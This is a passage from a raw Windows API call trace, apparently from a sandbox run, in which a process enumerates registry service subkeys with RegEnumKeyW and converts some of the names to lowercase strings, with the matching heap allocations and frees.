RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0254.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0254.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.965] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.965] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0254.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0254.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0254.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0254.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0254.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0254.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0254.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1de44e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0254.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.966] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.966] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0254.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.966] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0254.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0254.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0254.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x1de44e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0254.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0254.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0254.967] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0254.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0254.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0254.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.967] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0254.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1de4408, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0254.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="circlass") returned 0x0 [0254.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0254.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0254.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0254.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0254.967] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CNG") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x1dd29e0, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CSC") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CscService") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x1dd29e0, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0254.968] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x1dd29e0, cchName=0x104 | out: lpName="discache") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Disk") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x1dd29e0, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DPS") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EFS") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x1dd29e0, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0254.969] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x1dd29e0, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x1dd29e0, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x1dd29e0, cchName=0x104 | out: lpName="exfat") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fax") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdc") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x1dd29e0, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x1dd29e0, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0254.970] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x1dd29e0, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0254.971] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x1dd29e0, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelide") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0254.972] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x1dd29e0, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ldap") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0254.973] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x1dd29e0, cchName=0x104 | out: lpName="luafv") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x1dd29e0, cchName=0x104 | out: lpName="megasas") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Modem") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="monitor") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0254.974] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x1dd29e0, cchName=0x104 | 